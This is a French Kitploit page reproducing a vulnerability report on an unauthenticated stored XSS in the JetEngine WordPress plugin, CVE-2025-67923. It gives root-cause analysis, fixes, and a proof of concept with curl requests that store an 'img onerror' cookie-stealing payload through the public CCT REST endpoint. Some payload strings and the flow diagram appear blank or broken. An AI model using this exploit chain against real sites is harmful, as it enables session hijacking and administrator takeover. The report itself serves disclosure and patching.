Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-67923 — JetEngine <= 3.7.7 — Cross-Site Scripting stocké non authentifié via CCT REST API | Kitploit
Outils/GitHubGitHub/randomrobbiebf/cve-2025-67923
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebSécurité des API
GitHubrandomrobbiebf/cve-2025-67923

CVE-2025-67923

JetEngine <= 3.7.7 — Cross-Site Scripting stocké non authentifié via CCT REST API

Voir le dépôt
10il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Rapport d'exploitation de CVE-2025-67923

JetEngine <= 3.7.7 — Cross-Site Scripting stocké non authentifié via l'API REST CCT

Date: 11 mars 2026 Score CVSS: 7.1 (Élevé) Vecteur CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Plugin affecté: JetEngine <= 3.7.7 Slug du plugin: jet-engine Corrigé dans: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 Chercheur: Bonds (via Patchstack) Signalé: 19 octobre 2025 Divulgué: janvier 2026 Version de WordPress testée: Dernière


Résumé exécutif

CVE-2025-67923 est une vulnérabilité de Cross-Site Scripting stocké non authentifié dans le plugin WordPress JetEngine affectant toutes les versions jusqu'à 3.7.7 incluse. Un attaquant non authentifié peut écrire du HTML/JavaScript arbitraire dans un champ texte d'un type de contenu personnalisé (CCT) via l'API REST publique, qui est ensuite injecté non désinfecté dans le DOM via un sink JavaScript innerHTML dans le widget Maps Listing lorsqu'une victime visite une page contenant ce widget.

L'attaque ne nécessite ni authentification ni privilèges. Elle exige uniquement que :

  1. Un CCT JetEngine existe avec l'accès en écriture de l'API REST défini sur .
public
  • Un widget Maps Listing sur une page frontale soit configuré pour afficher le champ texte de ce CCT comme étiquette du marqueur de carte.
  • ✅ VULNÉRABILITÉ CONFIRMÉE — Charge utile XSS stockée écrite et exécutée

    Impact confirmé :

    • HTML/JS arbitraire non authentifié stocké dans la base de données CCT sans désinfection
    • XSS déclenchée pour chaque visiteur chargeant une page contenant le widget Maps Listing
    • Vol de cookies, détournement de session, collecte d'identifiants stockés, prise de contrôle de l'administrateur

    Détails de la vulnérabilité

    Résumé technique

    La vulnérabilité est une combinaison de deux faiblesses indépendantes :

    1. Absence de désinfection des entrées (stockage) : La méthode sanitize_field_value() du gestionnaire d'éléments CCT n'a aucun chemin de désinfection pour les champs de type text. Le cas default: ne fait que convertir les horodatages — le HTML brut passe et est persisté en base de données.

    2. Sink XSS basé sur le DOM (rendu) : Le widget Maps Listing lit la valeur de champ stockée via get_marker_label(), l'enveloppe dans htmlspecialchars(json_encode(...)) pour l'attribut HTML data-markers, et le JavaScript frontal lit l'attribut avec getAttribute() (qui décode les entités HTML), puis insère markerData.label directement via innerHTML — exécutant tout HTML/JavaScript intégré.

    Composants affectés

    FichierProblème
    includes/modules/custom-content-types/inc/rest-api/public-controller.php:424create_item_permissions_check renvoie true lorsque le CCT a rest_put_access = 'public' — aucune authentification requise
    includes/modules/custom-content-types/inc/item-handler.php:489Branche default: de sanitize_field_value() — aucune désinfection HTML pour les champs de type text
    includes/modules/maps-listings/inc/render.php:233get_marker_label() renvoie la valeur meta brute sans esc_html()
    includes/modules/maps-listings/inc/render.php:247htmlspecialchars(json_encode($result)) — protège uniquement la limite de l'attribut, pas l'injection innerHTML
    includes/modules/maps-listings/assets/js/frontend-maps.js:112pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — étiquette brute insérée dans la chaîne HTML
    includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175el.innerHTML = data.content — sink d'exécution XSS
    includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34contentHtml.innerHTML = content — sink d'exécution XSS

    Chaîne d'exploitation

    Étape 1 — Écriture REST non authentifiée

    Le contrôleur REST public des CCT vérifie les permissions via check_user_permissions() :

    root@kitploit:~
    // public-controller.php:370-376
    public function check_user_permissions( $request, $context ) {
        $content_type = $this->get_content_type_from_request( $request );
        $cap = $content_type->get_arg( $context );
    
        if ( ! $cap || 'public' === $cap ) {
            return true;  // No authentication required
        } else {
            return current_user_can( $cap );
        }
    }
    
    public function create_item_permissions_check( $request ) {
        return $this->check_user_permissions( $request, 'rest_put_access' );
    }
    

    Lorsqu'un CCT est configuré avec rest_put_access = 'public' (une configuration prise en charge et documentée pour les formulaires publics), le point de terminaison est entièrement non authentifié. N'importe quel client HTTP peut envoyer une requête POST à /wp-json/jet-cct/{slug}.

    Étape 2 — Stockage non désinfecté

    Le gestionnaire REST appelle $handler->update_item($params), qui atteint sanitize_field_value() :

    root@kitploit:~
    // item-handler.php:489-562
    public function sanitize_field_value( $value, $field ) {
        $type = isset( $field['type'] ) ? $field['type'] : false;
    
        switch ( $type ) {
            case 'repeater':    // sanitizes sub-fields
                // ...
            case 'checkbox':    // handles boolean arrays
            case 'checkbox-raw':
                // ...
            case 'media':
            case 'gallery':     // sanitizes media JSON
                // ...
            case 'wysiwyg':
                $value = jet_engine_sanitize_wysiwyg( $value );  // sanitized
                break;
    
            default:
                // TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
                $value = $this->factory->maybe_to_timestamp( $value, $field );
        }
    
        return $value;
    }
    

    Un champ de type text atteint la branche default:. maybe_to_timestamp() renvoie la valeur inchangée pour les chaînes non datées. La charge utile XSS `` est stockée telle quelle.

    Étape 3 — Étiquette récupérée sans échappement

    Lorsque le widget Maps Listing effectue le rendu, get_marker_label() lit le champ :

    root@kitploit:~
    // render.php:479-535
    public function get_marker_label( $post = null, $settings = array() ) {
    
        // ...
        switch ( $label_type ) {
            case 'meta_field':
                $field = $settings['marker_label_field'];
                if ( $field ) {
                    $result = jet_engine()->listings->data->get_meta( $field, $post );
                    // No esc_html() here — raw value returned
                }
                break;
        }
    
        return $result;  // Returns ""
    }
    

    La valeur renvoyée est placée dans le tableau de données des marqueurs :

    root@kitploit:~
    // render.php:231-237
    $result[] = array(
        'id'        => $post_id,
        'latLang'   => $latlang,
        'label'     => $this->get_marker_label( $post, $settings ),  // raw XSS payload
        // ...
    );
    

    Étape 4 — L'encodage d'attribut n'empêche pas l'XSS via innerHTML

    Le tableau des marqueurs est encodé pour un attribut HTML :

    root@kitploit:~
    // render.php:247
    return htmlspecialchars( json_encode( $result ) );
    

    json_encode sérialise `` comme la chaîne "". htmlspecialchars encode ensuite en HTML l'intégralité du JSON, produisant :

    root@kitploit:~
    [{...,&quot;label&quot;:&quot;&lt;img src=x onerror=alert(1)&gt;&quot;,...}]
    

    Ceci est écrit dans l'attribut HTML data-markers. L'encodage ne protège que la limite de l'attribut. Lorsque JavaScript lit l'attribut, le navigateur décode les entités HTML, restaurant les caractères d'origine :

    root@kitploit:~
    // Browser automatically decodes entities when reading via dataset / getAttribute
    const markers = JSON.parse(el.dataset.markers);
    // markers[0].label === ''
    

    Étape 5 — Injection innerHTML (déclenchement de l'XSS)

    Dans frontend-maps.js, la chaîne d'étiquette brute est insérée directement dans une chaîne de contenu HTML :

    root@kitploit:~
    // frontend-maps.js:112
    pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
    // pinData.content = '<div class="jet-map-marker-wrap">
    //   
    // </div>'
    

    Cette chaîne de contenu est ensuite définie comme innerHTML de l'élément marqueur :

    root@kitploit:~
    // mapbox-maps.js:175
    el.innerHTML = data.content;  // XSS FIRES
    
    // leaflet-maps.js:34
    contentHtml.innerHTML = content;  // XSS FIRES
    

    Chaque visiteur qui charge une page contenant le widget Maps Listing déclenche la charge utile.


    Preuve de concept

    Prérequis

    1. Les modules maps-listings et custom-content-types de JetEngine sont activés.
    2. Un CCT nommé locations (slug : locations) existe avec :
      • rest_put_enabled = true
      • rest_put_access = 'public'
      • Un champ de type text nommé label
    3. Un widget Maps Listing sur n'importe quelle page frontale est configuré avec :
      • marker_type = 'text'
      • marker_label_type = 'meta_field'
      • marker_label_field = 'label'

    Étape 1 — Écriture de la charge utile XSS (non authentifiée)

    root@kitploit:~
    curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
      -H 'Content-Type: application/json' \
      -d '{
        "name": "Test Location",
        "label": "",
        "lat": "51.5074",
        "lng": "-0.1278"
      }'
    

    Réponse:

    root@kitploit:~
    {"success": true, "item_id": 1}
    

    Étape 2 — Confirmer le stockage de la charge utile brute

    root@kitploit:~
    curl -s 'http://TARGET/wp-json/jet-cct/locations'
    

    Réponse:

    root@kitploit:~
    [{
      "_ID": "1",
      "name": "Test Location",
      "label": "",
      "lat": "51.5074",
      "lng": "-0.1278"
    }]
    

    La balise `` est stockée telle quelle — aucune désinfection n'a eu lieu.

    Étape 3 — Déclenchement de l'XSS (la victime visite la page)

    Tout visiteur, authentifié ou non, qui charge une page contenant le widget Maps Listing exécutera la charge utile. L'attribut HTML rendu contient :

    root@kitploit:~
    <div class="jet-map-box"
      data-markers="[{...&quot;label&quot;:&quot;&lt;img src=x onerror=alert(document.cookie)&gt;&quot;...}]"
      data-general="...">
    </div>
    

    JavaScript lit data-markers, décode les entités HTML, analyse le JSON et l'insère dans le DOM :

    root@kitploit:~
    // markerData.label = ''
    el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
    // ↑ onerror fires → alert(document.cookie)
    

    Démonstration en direct — Flux de charge utile de bout en bout

    root@kitploit:~
    Attacker                     WordPress REST API              Victim Browser
       |                               |                               |
       |-- POST /wp-json/jet-cct/ ---> |                               |
       |   {"label":" |
       |                               |                    el.innerHTML = label
       |                               |                    onerror=alert() FIRES
    

    Analyse des causes racines

    Cause 1 — Champs text exemptés de désinfection

    sanitize_field_value() gère explicitement wysiwyg avec une désinfection basée sur wp_kses, mais place tous les autres types de chaînes dans une branche default: qui n'effectue aucun échappement HTML. L'hypothèse selon laquelle les champs text sont du texte brut est violée lorsque ces valeurs sont ensuite rendues comme HTML via le chemin innerHTML du widget Maps.

    Cause 2 — htmlspecialchars mal appliqué

    htmlspecialchars(json_encode($result)) est appliqué pour protéger la limite de l'attribut HTML. C'est correct et nécessaire — mais cela ne suffit pas à empêcher l'XSS lorsque la valeur est ensuite relue via JavaScript et insérée dans le DOM via innerHTML. L'encodage est réversible par le navigateur. La correction appropriée consiste à appliquer esc_html() (ou htmlspecialchars) à la valeur individuelle label avant l'encodage JSON, afin que la charge utile soit stockée dans le JSON comme texte encodé en entités. Lorsque JavaScript l'insère via innerHTML, le navigateur rend &lt;img&gt; comme texte, et non comme une balise HTML.

    Alternativement, remplacez innerHTML par textContent dans le JavaScript pour le champ d'étiquette.

    Cause 3 — Portée insuffisante de la politique de désinfection

    Le chemin d'écriture de l'API REST (update_item) ne traite pas toutes les valeurs stockées comme des sinks HTML potentiels. La politique de désinfection n'est définie que par type de champ, les champs text étant silencieusement exemptés alors qu'ils sont rendus comme HTML côté front via le widget Maps.


    Correction

    CorrectifFichierDescription
    Désinfecter les champs texte à l'enregistrementitem-handler.php:sanitize_field_value()Ajoutez $value = wp_kses($value, []) ou sanitize_text_field($value) dans la branche default:
    Échapper l'étiquette au moment du rendurender.php:get_marker_label()Appliquez esc_html($result) avant de renvoyer la valeur de l'étiquette
    Utiliser textContent au lieu de innerHTML pour les étiquettesfrontend-maps.js, mapbox-maps.js, leaflet-maps.jsRemplacez el.innerHTML = data.content par une construction DOM sûre lorsque le contenu est uniquement du texte d'étiquette
    Restreindre l'accès en écriture REST par défautParamètres du pluginModifiez la valeur par défaut de rest_put_access en manage_options plutôt que public ; exigez une adhésion explicite

    Chronologie

    DateÉvénement
    19 octobre 2025Vulnérabilité signalée par le chercheur « Bonds » via Patchstack
    janvier 2026Divulgation publique
    janvier 2026JetEngine 3.7.8 publiée avec le correctif
    11 mars 2026Reproduit indépendamment avec un PoC complet

    Références

    • Avis Wordfence — CVE-2025-67923
    • Avis de Patchstack
    • Changelog de JetEngine — 3.7.8
    • OWASP — XSS stocké
    • OWASP — XSS basé sur le DOM
    • CWE-79 : Neutralisation inappropriée de l'entrée lors de la génération de pages Web
    Télécharger l’outil